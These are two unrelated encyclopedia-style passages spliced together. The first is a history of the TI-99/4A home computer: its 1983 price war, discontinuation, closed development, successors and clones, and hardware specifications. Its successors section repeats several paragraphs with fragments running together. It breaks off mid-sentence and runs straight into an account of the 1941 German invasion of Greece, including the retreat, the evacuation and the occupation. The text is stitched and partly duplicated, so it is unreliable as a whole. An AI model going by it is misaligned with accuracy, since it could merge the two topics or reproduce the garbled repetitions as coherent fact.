By mid-1982 Jerry Pournelle wrote that TI was "practically giving away the TI-99/4A".[17] An industry joke stated that the company was losing money on each computer, but was making up for it in volume.[14] The 99/4A's list price was $400 that autumn,[13] but the street price including $100 rebate was about $200. Sales peaked at 30,000 a week in January 1983, but on 10 January 1983 Commodore lowered the price of its computers; the VIC-20's wholesale price was $130. In February TI responded by lowering the 99/4A's retail price to $150. In April Commodore again lowered prices, and the VIC-20's bundled retail price reached $100. TI also lowered prices and offered rebates, reducing the 99/4A's retail price to under $100; by this time the company was likely losing money on each computer. In early 1983 TI stopped sales for a month to correct a defect, but—predicting in April that the home-computer market that year would be much larger than most industry analysts expected—continued production at an annual rate of three million, increasing inventory. In May it began offering the PEB for free with the purchase of three peripherals; by this time TI was using price cuts as the 99/4A's primary marketing. In August the company reduced prices of peripherals by 50% and offered $100 of free software; in September, it reduced software prices by up to 43%.[13][14][18]
Discontinuation [ edit ]
The Times stated in June 1983 that Cosby's $100 refund "joke is no longer funny", and that "future options are slim" for TI; Banking firm L.F. Rothschild estimated that the company would only sell two million computers. The low price probably hurt the 99/4A's reputation; "When they went to $99, people started asking 'What's wrong with it?'", one retail executive said.[13]
After losing $111 million after taxes in the third calendar quarter of 1983, TI announced in October 1983 that it was discontinuing the 99/4A, while continuing to sell the TI Professional MS-DOS-compatible computer.[18] (TI stock rose by 25% after the announcement, because the company's other businesses were strong.)[19] With another TI price cut, retailers sold remaining inventory of the former $1,150 computer during Christmas for $49;[14][20] Child World's 90 stores almost immediately sold more than 40,000 computers at the price,[21] and a riot almost broke out at a Greensboro, North Carolina Kmart as shoppers fought over the computer.[22] Discontinued during the video game crash of 1983, the 99/4A became the first in a series of home computers to be orphaned by their manufacturer over the next few years, along with the Coleco Adam, Mattel Aquarius, Timex Sinclair 1000 and IBM PCjr. A total of 2.8 million units were shipped before the TI-99/4A was discontinued in March 1984.[citation needed]
Lack of third-party development [ edit ]
The TI-99/4A is more sophisticated than the VIC-20, offering more memory and more advanced graphics capabilities. However, a number of elements of its design attracted criticism. Peripherals plug directly into the right-hand side of the unit, unless the user purchased the expensive and heavy Peripheral Expansion Box. This design choice causes the computer to not fit well on top of a desk if the user adds more peripherals besides a tape drive and a printer. In addition, the 48-key keyboard layout does not match that of a typewriter very closely. Finally, there was no option for an 80-column display at the time of its introduction. The keyboard and display limitations made it unpopular for word processing.
TI could not make a profit on the TI-99/4A at a price of $99,[23] but hoped that selling many inexpensive computers would increase sales of more profitable software and peripherals. Because such a razor and blades business model requires that such products be its own,[13] TI kept strict control over development for the machine, discouraging hobbyists and third-party developers.[17] A Spinnaker Software executive said that the 99/4A had "the worst software in the business", and Ahl noted that unlike other computers, it did not have "Microsoft BASIC, VisiCalc, WordStar, or any popular games".[14] Citing Money, publisher of Kilobaud Microcomputing Wayne Green reported in August 1980 that TI planned to have only 100 applications available by the end of 1981, stating that "This tiny figure has to put a chill on the whole industry".[24] Its peripherals cost about twice as much as for other computers.[23][13] TI joysticks, for example, were of poor quality and difficult to find; one reseller reported that its best-selling product was the Atari adapter cable.[3]
Green said that although his company Instant Software had published "hundreds of programs for the TRS-80 [and] want to translate as many as possible for use on the TI-99/4", it could not find anyone among more than 1,000 developers in its network who could port software to the computer, adding "We understand the problems with the system and the efforts Texas Instruments made to make translation difficult".[24] Rival companies were much more open with information. The next issue of Kilobaud Microcomputing reported that a Commodore executive promised that the forthcoming VIC-20 would have "enough additional documentation to enable an experienced programmer/hobbyist to get inside and let his imagination work".[25][26] IBM released complete software and hardware technical information for the Personal Computer when announcing it in 1981,[17] stating that "the definition of a personal computer is third-party hardware and software".[27]
Pournelle in 1982 wrote that because "well over half the really good stuff for microcomputers has come from hobbyists and hackers... which TI had wrongly concluded that they were... unimportant", it "found itself cut off from the mainstream". He believed that TI recognized its mistake and would change.[17][28] The company, however, insisted on itself selling others' software, which many developers refused to agree to.[13] After third-party developers' games for the Atari 2600 became very successful, TI at the June 1983 Consumer Electronics Show announced that only cartridges with TI-licensed circuitry would work in the 99/4A. The Boston Phoenix predicted that "most [software developers] just won't bother making TI-compatible versions of their programs".[23] Pournelle wrote after the announcement that "TI once again tells the hobbyists to drop dead".[28]
No official technical documentation from TI was released until the "Editor/Assembler" assembly language development suite was released in 1981, and no system schematics were ever released to the public until after TI had discontinued the computer. In addition, the TI-99/4A's awkward architecture and nonstandard CPU (as opposed to the 6502 and Z80 which all programmers of the day were familiar with) made it difficult to develop for.
Cult following [ edit ]
The TI-99/4A maintained a cult following for years after its death in the marketplace, in part because of its eccentricities, and in part because TI had actively supported a network of user groups during the production of the machine. It eventually came to achieve a cult following among retro-computer hobbyists. In 2004 a Universal Serial Bus (USB) card and Advanced Technology Attachment controller for IDE hard disks for the PEB were released, and there is still an annual Chicago TI Fair[29] where people congregate to celebrate the historic TI-99 family of computers. Third-party devices such as expanded memory cards, improved floppy controllers, and hardware ramdisks are very stable and popular additions to the machine, although there are no current known sources for these devices. In the early 1980s, a bulletin board system (TIBBS), developed by Ralph Fowler of Marietta, Georgia, running on the 99/4A became very popular and brought many users together. Also, a number of emulators for the TI-99 exist today for PC-based systems.
In 1987, the "Turbo XT" was introduced by Triton. Though rare, it allowed a TI-99/4A and an IBM PC XT to share the same desktop space, though without sharing such things as memory or disk drives.[30] The Turbo XT had at least two serious failings — first, it extended the use of the TI's already marginal keyboard to the XT whereas the reverse would have probably been far more marketable; second, it did not allow the TI to share or use resources with the XT (custom BIOS might have allowed the XT to serve as ramdisk, diskette controller/drives and serial ports).
Successors and clones [ edit ]
At the time they left the home computer market, TI had been actively developing two successors to the TI-99/4A. Neither entered production, though several prototypes of each are in the hands of TI-99/4A collectors. Both machines would therefore have been substantially faster than the original TI-99/4A, and both were to use TI's "HexBUS" serial interface (which was available as an option on the TI-99/4A and could be viewed as a prototype for today's ubiquitous USB — the link for the TI-99/8 includes some images of HexBUS peripherals).
TI-99/2, [31] a 4K RAM, 32K ROM computer with no color, sound, or joystick port and a Mylar keyboard. TI designed the computer in four and one half months to sell for under $100 and compete with the Sinclair ZX81 and Timex Sinclair 1000. Based on the TMS9995 CPU running at 10.7 MHz and with a built-in RF modulator, performance greatly increased when the screen was blank. The University of Southwestern Louisiana developed system software. 99/2 software ran on the 99/4A, but not vice versa. Working prototypes appeared at the January 1983 Consumer Electronic Show (CES). [32] Home-computer prices declined so quickly, however, that by mid-1983 the 99/4A sold for $99. [33] [13] The company canceled the 99/2 in April 1983, [18] but planned to exhibit it at the June CES until other companies' press conferences there indicated that competition would increase. [23]
a 4K RAM, 32K ROM computer with no color, sound, or joystick port and a Mylar keyboard. TI designed the computer in four and one half months to sell for under $100 and compete with the Sinclair ZX81 and Timex Sinclair 1000. Based on the TMS9995 CPU running at 10.7 MHz and with a built-in RF modulator, performance greatly increased when the screen was blank. The University of Southwestern Louisiana developed system software. 99/2 software ran on the 99/4A, but not vice versa. Working prototypes appeared at the January 1983 Consumer Electronic Show (CES). Home-computer prices declined so quickly, however, that by mid-1983 the 99/4A sold for $99. The company canceled the 99/2 in April 1983, but planned to exhibit it at the June CES until other companies' press conferences there indicated that competition would increase. TI-99/8 and 99/6 [34] [23] The 99/8 reportedly had a $200 wholesale price. [14] Privately shown to dealers but not announced at June CES, and formally canceled in October 1983. With 64 kB of RAM [18] expandable to 15 megabytes, larger keyboard, built-in speech synthesis, built-in Pascal operating environment with UCSD Pascal and the full 16-bit data bus available on the expansion port. Designed by Texas Instruments, but abandoned in the prototype stage. Some prototypes are known to exist. In addition, the emulator MESS is capable of running what are believed to be the system's ROMs.
The 99/8 reportedly had a $200 wholesale price. Privately shown to dealers but not announced at June CES, and formally canceled in October 1983. With 64 kB of RAM expandable to 15 megabytes, larger keyboard, built-in speech synthesis, built-in Pascal operating environment with UCSD Pascal and the full 16-bit data bus available on the expansion port. Designed by Texas Instruments, but abandoned in the prototype stage. Some prototypes are known to exist. In addition, the emulator MESS is capable of running what are believed to be the system's ROMs. Myarc Geneve 9640, an enhanced TI-99/4A clone which was built by Myarc as a card to fit into the TI Peripheral Expansion System [35] and used an IBM PC/XT detached keyboard. Released in 1987, it was in many ways similar to the earlier TI-99/8 which was in prototype form in early 1983. It included a faster processor (12 MHz TMS9995), enhanced graphics with 80 column text mode (via 9938), 16-bit wide RAM, MDOS, and was compatible with nearly all TI software and slot-mounted hardware (an adapter was available to allow the sidecar-only Speech Synthesizer to be installed inside the PEB). A toggle switch was mounted to the side of the PEB to allow insertion of wait states to bring the computer down to the same speed as the original console, allowing compatibility for games and other timing-critical software.
and used an IBM PC/XT detached keyboard. Released in 1987, it was in many ways similar to the earlier TI-99/8 which was in prototype form in early 1983. It included a faster processor (12 MHz TMS9995), enhanced graphics with 80 column text mode (via 9938), 16-bit wide RAM, MDOS, and was compatible with nearly all TI software and slot-mounted hardware (an adapter was available to allow the sidecar-only Speech Synthesizer to be installed inside the PEB). A toggle switch was mounted to the side of the PEB to allow insertion of wait states to bring the computer down to the same speed as the original console, allowing compatibility for games and other timing-critical software. SGCPU,[36] the Second Generation CPU card was released by the System 99 User Group in 1996 as a card to be installed in the PEB. It was also known as the TI99/4P, and included standard 9900 CPU, ROMs, and up to 1 MiB of 16-bit RAM using the 'AMS' memory expansion scheme. This card required the HSGPL card, which provided the GROM emulation needed to run the system, and the EVPC, which included the 9938 video processor for display.
The Tomy Tutor and its sibling systems were Japanese computers very similar in architecture and firmware to the 99/8. Unlike the 99/8, it was released commercially, but sold very poorly outside Japan. Portions of the operating system and BASIC code are similar to the 99/8. According to Barry Boone (a well known programmer for the TI-99/4A), the Tutor's built-in BASIC uses the same internal one byte tokens as does TI's Extended BASIC, and many of the memory scratchpad locations are placed at the same relative locations as the TI-99/4A and TI-99/8. For instance, keyscan values are returned at offset >75 and floating point is stored at >4A.
The Phoenix G2[37], designed in 2010 by Gary Smith, a member of TI-User Group UK. This machine uses two FPGAs to emulate the entire architecture of the Myarc Geneve 9640 and the TMS9995 microprocessor, thus eliminating reliance on obsolete silicon devices. It incorporates the latest advances in technology, such as SD card readers, ethernet, full VGA output, and now 64 MB RAM.
Technical specifications [ edit ]
CPU: TI TMS9900, 3.0 MHz, 16-bit, 64-pin DIP.
Memory: 16 kB VDP RAM (Video Display Processor RAM), plus 256 bytes CPU fast "scratchpad RAM" intended for the TMS9900 processor to maintain register "workspaces".
Video: TI TMS9918A VDP (TMS9918 in the earlier 99/4, TMS9929/9929A in PAL versions, 40 pin DIP. Distinct in being the only chip on the TI motherboard with a heat sink on all models. Early models also have a heat sink on the clock generator, the TMS9904.) 32 single-color sprites in defined layers allowing higher-numbered sprites to transparently flow over lower-numbered sprites. Sprites are available at 8×8 pixels or 16×16 pixels, with a'magnify' bit that doubled all sprites' size but not their resolution. A single bit is available in hardware for coincidence (collision detection), and the console supports automatic movement via an interrupt routine in the ROM. There can be no more than 4 visible sprites per horizontal scanline. 16 fixed colors (15 visible, one color reserved for 'transparent' which shows the background color). Transparent is intended for the 9918's genlock functionality used in conjunction with TI's Video Controller Card. This feature was demonstrated in October 1999 at an international TI meeting near Stuttgart, Germany. (This requires a hardware modification to the console itself, as the video input line is not routed on the motherboard.) Text mode: 40×24 characters (256 6×8 user-definable characters, no sprites, foreground and background color only, not accessible in BASIC) Graphics mode: 32×24 characters (256 8×8 user-definable characters, full 15 color palette + transparent (available in groups of 8 through the character table) and 32 sprites (The only mode available in BASIC. Extended BASIC is required for sprites, and can access only 28 of them.) Bitmap mode: 256×192 pixels (no more than two colors in an eight pixel row, full 15 color palette + transparent, all 32 sprites available but interrupt-based motion through the ROM routine is not due to the memory layout, not available to BASIC or the original 9918). Bitmap mode can be arranged in such a way as to use less memory but still provide improved color or improved pattern layout, leading to the popularity of so-called "half-bitmap" modes. In fact these modes are not undocumented modes of the VDP (which fully documented this masking) but simply clever layout of Bitmap mode. Multicolor mode: 64×48 pixels (each pixel may be any color, all 32 sprites are available) All of the above comprise 36 "layers" starting with the video overlay input, then the background color, then two graphics mode layers, then a layer for each of the 32 sprites. A higher layer obscures a lower layer in hardware, unless that higher layer is transparent.
Sound: TI TMS9919, later SN94624, identical to the SN76489 used in many other systems. 3 voices, 1 noise (white or periodic). Voices generate square waves from 110 Hz to approximately 115 kHz. Console ROM includes interrupt-driven music list playback.
Contemporary use [ edit ]
The TI-99/4A enjoys an active after-life in the vintage computing enthusiasts world. There are currently three very active mailing lists where TI-99/4A owners correspond with each other, from matters concerning hardware setup and interfacing equipment to the machine, to advanced software techniques.
TI-99/4A Programming Forum (AtariAge) [38] – an active forum, with hardware and software projects on TI-99/4A.
– an active forum, with hardware and software projects on TI-99/4A. TI-99/4A Online User Group (OLUG) [39] – a mailing list, with general chat on all things TI.
– a mailing list, with general chat on all things TI. TI-99/4A and Compatibles Discussion Group [40] – a more technically oriented mailing list, where people will often post technical questions or software routines to try out.
– a more technically oriented mailing list, where people will often post technical questions or software routines to try out. SWPB Assembly Programmers Mailing List[41] – the SWPB list is a mailing list dedicated to discussing machine code/assembly language programming on the TMS9900 CPU (SWPB is an assembly instruction, meaning "swap bytes" in TMS9900 Assembly Language).
Modern hardware developments [ edit ]
There has been a resurgence in new hardware projects in recent years. Recently, a range of plug in cartridge boards have been developed, allowing enthusiasts to distribute their software |
April, a German motorcycle battalion supported by a tank battalion attacked the ridge, but the Germans were repulsed by the New Zealand 21st Battalion under Lieutenant Colonel Neil Macky, which suffered heavy losses in the process. Later that day, a German armoured regiment arrived and struck the coastal and inland flanks of the battalion, but the New Zealanders held. After being reinforced during the night of the 15th–16th, the Germans assembled a tank battalion, an infantry battalion and a motorcycle battalion. The infantry attacked the New Zealanders' left company at dawn, while the tanks attacked along the coast several hours later. The New Zealanders soon found themselves enveloped on both sides, after the failure of the Western Macedonia Army to defend the Albanian town of Korça that fell unopposed to the Italian 9th Army on 15 April, forcing the British to abandon the Mount Olympus position and resulting in the capture of 20,000 Greek troops.
Australian anti-tank gunners resting, soon after their withdrawal from the Vevi area
The New Zealand battalion withdrew, crossing the Pineios river; by dusk, they had reached the western exit of the Pineios Gorge, suffering only light casualties. Macky was informed that it was "essential to deny the gorge to the enemy until 19 April even if it meant extinction". He sank a crossing barge at the western end of the gorge once all his men were across and set up defences. The 21st Battalion was reinforced by the Australian 2/2nd Battalion and later by the 2/3rd. This force became known as "Allen force" after Brigadier "Tubby" Allen. The 2/5th and 2/11th battalions moved to the Elatia area south-west of the gorge and were ordered to hold the western exit possibly for three or four days.
On 16 April, Wilson met Papagos at Lamia and informed him of his decision to withdraw to Thermopylae. Lieutenant-General Thomas Blamey divided responsibility between generals Mackay and Freyberg during the leapfrogging move to Thermopylae. Mackay's force was assigned the flanks of the New Zealand Division as far south as an east-west line through Larissa and to oversee the withdrawal through Domokos to Thermopylae of the Savige and Zarkos Forces and finally of Lee Force; Brigadier Harold Charrington's 1st Armoured Brigade was to cover the withdrawal of Savige Force to Larissa and thereafter the withdrawal of the 6th Division under whose command it would come; overseeing the withdrawal of Allen Force which was to move along the same route as the New Zealand Division. The British, Australian and New Zealand forces remained under attack throughout the withdrawal.
On the morning of 18 April, the Battle of Tempe Gorge, the struggle for the Pineios Gorge, was over when German armoured infantry crossed the river on floats and 6th Mountain Division troops worked their way around the New Zealand battalion, which was subsequently dispersed. On 19 April, the first XVIII Mountain Corps troops entered Larissa and took possession of the airfield, where the British had left their supply dump intact. The seizure of ten truckloads of rations and fuel enabled the spearhead units to continue without ceasing. The port of Volos, at which the British had re-embarked numerous units during the prior few days, fell on 21 April; there, the Germans captured large quantities of valuable diesel and crude oil.
Withdrawal and surrender of the Greek Epirus Army [ edit ]
It is impossible for me to understand why the Greek Western Army does not make sure of its retreat into Greece. The Chief of the Imperial Staff states that these points have been put vainly time after time. Winston Churchill
As the invading Germans advanced deep into Greek territory, the Epirus Army Section of the Greek army operating in Albania was reluctant to retreat. By the middle of March, especially after the Tepelene offensive, the Greek army had suffered, according to British estimates, 5,000 casualties, and it was fast approaching the end of its logistical tether.
General Wilson described this unwillingness to retreat as "the fetishistic doctrine that not a yard of ground should be yielded to the Italians." Churchill also criticized the Greek Army commanders for ignoring British advice to abandon Albania and avoid encirclement. Lieutenant-General George Stumme's Fortieth Corps captured the Florina-Vevi Pass on 11 April, but unseasonal snowy weather then halted his advance. On 12 April, he resumed the advance, but spent the whole day fighting Brigadier Charrington's 1st Armoured Brigade at Proastion. It was not until 13 April that the first Greek elements began to withdraw toward the Pindus mountains. The Allies' retreat to Thermopylae uncovered a route across the Pindus mountains by which the Germans might flank the Hellenic army in a rearguard action. An elite SS formation—the Leibstandarte SS Adolf Hitler brigade—was assigned the mission of cutting off the Greek Epirus Army's line of retreat from Albania by driving westward to the Metsovon pass and from there to Ioannina. On 13 April, attack aircraft from 21, 23 and 33 Squadrons from the Hellenic Air Force (RHAF), attacked Italian positions in Albania. That same day, heavy fighting took place at Kleisoura pass, where the Greek 20th Division covering the Greek withdrawal, fought in a determined manner, delaying Stumme's advance practically a whole day. The withdrawal extended across the entire Albanian front, with the Italians in hesitant pursuit. On 15 April, Regia Aeronautica fighters attacked the (RHAF) base at Paramythia, 30 miles south of Greece's border with Albania, destroying or putting out of action 17 VVKJ aircraft that had recently arrived from Yugoslavia.
Retreating Greek soldiers, April 1941
General Papagos rushed Greek units to the Metsovon pass where the Germans were expected to attack. On 14 April a pitched battle between several Greek units and the LSSAH brigade—which had by then reached Grevena—erupted. The Greek 13th and Cavalry Divisions lacked the equipment necessary to fight against an armoured unit, and on 15 April were finally encircled and overwhelmed. On 18 April, General Wilson in a meeting with Papagos, informed him that the British and Commonwealth forces at Thermopylai would carry on fighting till the first week of May, providing that Greek forces from Albania could redeploy and cover the left flank. On 21 April, the Germans advanced further and captured Ioannina, the final supply route of the Greek Epirus Army. Allied newspapers dubbed the Hellenic army's fate a modern-day Greek tragedy. Historian and former war-correspondent Christopher Buckley – when describing the fate of the Hellenic army – stated that "one experience[d] a genuine Aristotelian catharsis, an awe-inspiring sense of the futility of all human effort and all human courage."
On 20 April, the commander of Greek forces in Albania &ndash, lieutenant general Georgios Tsolakoglou, accepted the hopelessness of the situation and offered to surrender his army, which then consisted of fourteen divisions. Papagos condemned Tsolakoglou's decision to capitulate, although lieutenant general Ioannis Pitsikas and major general Georgios Bakos had warned him a week earlier that morale in the Epirus Army was wearing thin, and combat stress and exhaustion had resulted in officers taking the decision to put deserters before firing squads. Historian John Keegan writes that Tsolakoglou "was so determined... to deny the Italians the satisfaction of a victory they had not earned that... he opened [a] quite unauthorised parley with the commander of the German SS division opposite him, Sepp Dietrich, to arrange a surrender to the Germans alone." On strict orders from Hitler, negotiations were kept secret from the Italians and the surrender was accepted. Outraged by this decision, Mussolini ordered counter-attacks against the Greek forces, which were repulsed, but at some cost to the defenders. The Luftwaffe intervened in the renewed fighting, and Ioannina was practically destroyed by Stukas. It took a personal representation from Mussolini to Hitler to organize Italian participation in the armistice that was concluded on 23 April. Greek soldiers were not rounded up as prisoners of war and were allowed instead to go home after the demobilisation of their units, while their officers were permitted to retain their side arms.
Thermopylae position [ edit ]
German artillery firing during the advance through Greece
As early as 16 April, the German command realised that the British were evacuating troops on ships at Volos and Piraeus. The campaign then took on the character of a pursuit. For the Germans, it was now primarily a question of maintaining contact with the retreating British forces and foiling their evacuation plans. German infantry divisions were withdrawn due to their limited mobility. The 2nd and 5th Panzer Divisions, the 1st SS Motorised Infantry Regiment and both mountain divisions launched a pursuit of the Allied forces.
To allow an evacuation of the main body of British forces, Wilson ordered the rearguard to make a last stand at the historic Thermopylae pass, the gateway to Athens. General Freyberg's 2nd New Zealand Division was given the task of defending the coastal pass, while Mackay's 6th Australian Division was to hold the village of Brallos. After the battle Mackay was quoted as saying "I did not dream of evacuation; I thought that we'd hang on for about a fortnight and be beaten by weight of numbers." When the order to retreat was received on the morning of 23 April, it was decided that the two positions were to be held by one brigade each. These brigades, the 19th Australian and 6th New Zealand were to hold the passes as long as possible, allowing the other units to withdraw. The Germans attacked at 11:30 on 24 April, met fierce resistance, lost 15 tanks and sustained considerable casualties. The Allies held out the entire day; with the delaying action accomplished, they retreated in the direction of the evacuation beaches and set up another rearguard at Thebes. The Panzer units launching a pursuit along the road leading across the pass made slow progress because of the steep gradient and difficult hairpin bends.
German drive on Athens [ edit ]
Damage from the German bombing of Piraeus on 6 April 1941. During the bombing, a ship carrying nitroglycerin was hit, causing a huge explosion
After abandoning the Thermopylae area, the British rearguard withdrew to an improvised switch position south of Thebes, where they erected a last obstacle in front of Athens. The motorcycle battalion of the 2nd Panzer Division, which had crossed to the island of Euboea to seize the port of Chalcis and had subsequently returned to the mainland, was given the mission of outflanking the British rearguard. The motorcycle troops encountered only slight resistance and on the morning of 27 April 1941, the first Germans entered Athens, followed by armoured cars, tanks and infantry. They captured intact large quantities of petroleum, oil and lubricants ("POL"), several thousand tons of ammunition, ten trucks loaded with sugar and ten truckloads of other rations in addition to various other equipment, weapons and medical supplies. The people of Athens had been expecting the Germans for several days and confined themselves to their homes with their windows shut. The previous night, Athens Radio had made the following announcement:
The quarrel over the troops' victorious entry into Athens was a chapter to itself: Hitler wanted to do without a special parade, to avoid injuring Greek national pride. Mussolini, alas, insisted on a glorious entry into the city for his Italian troops. The Führer yielded to the Italian demand and together the German and Italian troops marched into Athens. This miserable spectacle, laid on by our gallant ally, must have produced some hollow laughter from the Greeks. Wilhelm Keitel
You are listening to the voice of Greece. Greeks, stand firm, proud and dignified. You must prove yourselves worthy of your history. The valor and victory of our army has already been recognised. The righteousness of our cause will also be recognised. We did our duty honestly. Friends! Have Greece in your hearts, live inspired with the fire of her latest triumph and the glory of our army. Greece will live again and will be great, because she fought honestly for a just cause and for freedom. Brothers! Have courage and patience. Be stout hearted. We will overcome these hardships. Greeks! With Greece in your minds you must be proud and dignified. We have been an honest nation and brave soldiers.
The Germans drove straight to the Acropolis and raised the Nazi flag. According to the most popular account of the events, the Evzone soldier on guard duty, Konstantinos Koukidis, took down the Greek flag, refusing to hand it to the invaders, wrapped himself in it, and jumped off the Acropolis. Whether the story was true or not, many Greeks believed it and viewed the soldier as a martyr.
Evacuation of Empire forces [ edit ]
In the morning of 15 April 1941, Wavell sent to Wilson the following message: "We must of course continue to fight in close cooperation with Greeks but from news here it looks as if early further withdrawal necessary."
General Archibald Wavell, the commander of British Army forces in the Middle East, when in Greece from 11–13 April had warned Wilson that he must expect no reinforcements and had authorised Major General Freddie de Guingand to discuss evacuation plans with certain responsible officers. Nevertheless, the British could not at this stage adopt or even mention this course of action; the suggestion had to come from the Greek Government. The following day, Papagos made the first move when he suggested to Wilson that W Force be withdrawn. Wilson informed Middle East Headquarters and on 17 April, Rear admiral H. T. Baillie-Grohman was sent to Greece to prepare for the evacuation. That day Wilson hastened to Athens where he attended a conference with the King, Papagos, d'Albiac and Rear admiral Turle. In the evening, after telling the King that he felt he had failed him in the task entrusted to him, Prime Minister Koryzis committed suicide. On 21 April, the final decision to evacuate Empire forces to Crete and Egypt was taken and Wavell – in confirmation of verbal instructions – sent his written orders to Wilson.
We cannot remain in Greece against wish of Greek Commander-in-Chief and thus expose country to devastation. Wilson or Palairet should obtain endorsement by Greek Government of Papagos' request. Consequent upon this assent, evacuation should proceed, without however prejudicing any withdrawal to Thermopylae position in co-operation with the Greek Army. You will naturally try to save as much material as possible. Churchill's response to the Greek proposal on 17 April 1941
Little news from Greece, but 13,000 men got away to Crete on Friday night and so there are hopes of a decent percentage of evacuation. It is a terrible anxiety... War Cabinet. Winston says "We will lose only 5,000 in Greece." We will in fact lose at least 15,000. W. is a great man, but he is more addicted to wishful thinking every day. Robert Menzies, Excerpts from his personal diary, 27 and 28 April 1941
5,200 men, mostly from the 5th New Zealand Brigade, were evacuated on the night of 24 April, from Porto Rafti of East Attica, while the 4th New Zealand Brigade remained to block the narrow road to Athens, dubbed the 24 Hour Pass by the New Zealanders. On 25 April (Anzac Day), the few RAF squadrons left Greece (D'Albiac established his headquarters in Heraklion, Crete) and some 10,200 Australian troops evacuated from Nafplio and Megara. 2,000 more men had to wait until 27 April, because Ulster Prince ran aground in shallow waters close to Nafplio. Because of this event, the Germans realised that the evacuation was also taking place from the ports of the eastern Peloponnese.
On 25 April the Germans staged an airborne operation to seize the bridges over the Corinth canal, with the double aim of cutting off the British line of retreat and securing their own way across the isthmus. The attack met with initial success, until a stray British shell destroyed the bridge. The 1st SS Motorised Infantry Regiment ("LSSAH"), assembled at Ioannina, thrust along the western foothills of the Pindus Mountains via Arta to Missolonghi and crossed over to the Peloponnese at Patras in an effort to gain access to the isthmus from the west. Upon their arrival at 17:30 on 27 April, the SS forces learned that the paratroops had already been relieved by Army units advancing from Athens.
The Dutch troop ship Slamat was part of a convoy evacuating about 3,000 British, Australian and New Zealand troops from Nafplio in the Peloponnese. As the convoy headed south in the Argolic Gulf on the morning of 27 April, it was attacked by a Staffel of nine Junkers Ju 87s of Sturzkampfgeschwader 77, damaging Slamat and setting her on fire. The destroyer HMS Diamond rescued about 600 survivors and HMS Wryneck came to her aid, but as the two destroyers headed for Souda Bay in Crete another Ju 87 attack sank them both. The total number of deaths from the three sinkings was almost 1,000. Only 27 crew from Wryneck, 20 crew from Diamond, 11 crew and eight evacuated soldiers from Slamat survived.[142]
The erection of a temporary bridge across the Corinth canal permitted 5th Panzer Division units to pursue the Allied forces across the Peloponnese. Driving via Argos to Kalamata, from where most Allied units had already begun to evacuate, they reached the south coast on 29 April, where they were joined by SS troops arriving from Pyrgos. The fighting on the Peloponnese consisted of small-scale engagements with isolated groups of British troops who had been unable to reach the evacuation point. The attack came days too late to cut off the bulk of the British troops in Central Greece, but isolated the Australian 16th and 17th Brigades.
By 30 April the evacuation of about 50,000 soldiers was completed,a[›] but was heavily contested by the German Luftwaffe, which sank at least 26 troop-laden ships. The Germans captured around 8,000 Empire (including 2,000 Cypriot and Palestinian) and Yugoslav troops in Kalamata who had not been evacuated, while liberating many Italian prisoners from POW camps. The Greek Navy and Merchant Marine played an important part in the evacuation of the Allied forces to Crete and suffered heavy losses as a result. Churchill writes:
At least eighty percent of the British forces were evacuated from eight small southern ports. This was made possible with the help of the Royal and Greek Navies. Twenty-six ships, twenty-one of which were Greek, were destroyed by air bombardment [...] The small but efficient Greek Navy now passed under British control... Thereafter, the Greek Navy represented with distinction in many of our operations in the Mediterranean
Aftermath [ edit ]
Triple occupation [ edit ]
Italian German Bulgarian Italian territory ItalianGermanBulgarianItalian territory
On 13 April 1941, Hitler issued Directive No. 27, including his occupation policy for Greece. He finalized jurisdiction in the Balkans with Directive No. 31 issued on 9 June. Mainland Greece was divided between Germany, Italy and Bulgaria, with Italy occupying the bulk of the country (see map opposite). German forces occupied the strategically more important areas of Athens, Thessaloniki, Central Macedonia and several Aegean islands, including most of Crete. They also occupied Florina, which was claimed by both Italy and Bulgaria. The Bulgarians occupied territory between the Struma river and a line of demarcation running through Alexandroupoli and Svilengrad west of the Evros River. Italian troops started occupying the Ionian and Aegean islands on 28 April. On 2 June, they occupied the Peloponnese; on 8 June, Thessaly; and on 12 June, most of Attica. The occupation of Greece – during which civilians suffered terrible hardships, many dying from privation and hunger –proved to be a difficult and costly task. Several resistance groups launched guerrilla attacks against the occupying forces and set up espionage networks.
Battle of Crete [ edit ]
German paratroopers land in Crete
On 25 April 1941, King George II and his government left the Greek mainland for Crete, which was attacked by Nazi forces on 20 May 1941. The Germans employed parachute forces in a massive airborne invasion and attacked the three main airfields of the island in Maleme, Rethymno and Heraklion. After seven days of fighting and tough resistance, Allied commanders decided that the cause was hopeless and ordered a withdrawal from Sfakia. During the night of 24 May, George II and his government were evacuated from Crete to Egypt. By 1 June 1941, the evacuation was complete and the island was under German occupation. In light of the heavy casualties suffered by the elite 7th Fliegerdivision, Hitler forbade further large-scale airborne operations. General Kurt Student would dub Crete "the graveyard of the German paratroopers" and a "disastrous victory."
Assessments [ edit ]
The Greek campaign ended with a complete German and Italian victory. The British did not have the military resources to carry out big simultaneous operations in North Africa and the Balkans. Even if they had been able to block the Axis advance, they would have been unable to exploit the situation by a counter-thrust across the Balkans. The British came very near to holding Crete and perhaps other islands that would have provided air support for naval operations throughout the eastern Mediterranean.
In enumerating the reasons for the complete Axis victory in Greece, the following factors were of greatest significance:
German superiority in ground forces and equipment;
The bulk of the Greek army was occupied fighting the Italians on the Albanian front.
German air supremacy combined with the inability of the Greeks to provide the RAF with adequate airfields;
Inadequacy of British expeditionary forces, since the Imperial force available was small;
Poor condition of the Hellenic Army and its shortages of modern equipment;
Inadequate port, road and railway facilities;
Absence of a unified command and lack of cooperation between the British, Greek and Yugoslav forces;
Turkey's strict neutrality; and
The early collapse of Yugoslav resistance.
Criticism of British actions [ edit ]
After the Allies' defeat, the decision to send British forces into Greece faced fierce criticism in Britain. Field Marshal Alan Brooke, Chief of the Imperial General Staff during World War II, considered intervention in Greece to be "a definite strategic blunder", as it denied Wavell the necessary reserves to complete the conquest of Italian Libya, or to withstand Erwin Rommel's Afrika Korps March offensive. It prolonged the North African Campaign, which might have been concluded during 1941.
In 1947, de Guingand asked the British government to recognise its mistaken strategy in Greece. Buckley countered that if Britain had not honoured its 1939 commitment to Greece, it would have severely damaged the ethical basis of its struggle against Nazi Germany. According to Heinz Richter, Churchill tried through the campaign in Greece, to influence the political atmosphere in the United States and insisted on this strategy even after the defeat. According to Keegan, "the Greek campaign had been an old-fashioned gentlemen's war, with honor given and accepted by brave adversaries on each side" and the vastly outnumbered Greek and Allied forces, "had, rightly, the sensation of having fought the good fight". It has also been suggested the British strategy was to create a barrier in Greece, to protect Turkey, the only (neutral) country standing between an Axis block in the Balkans and the oil-rich Middle East but the British intervention in Greece was considered a fiasco. Martin van Creveld believes that the British did everything in their power to scuttle all attempts at a separate peace between the Greeks and the Italians, to keep the Greeks fighting so as to draw Italian divisions away from North Africa.
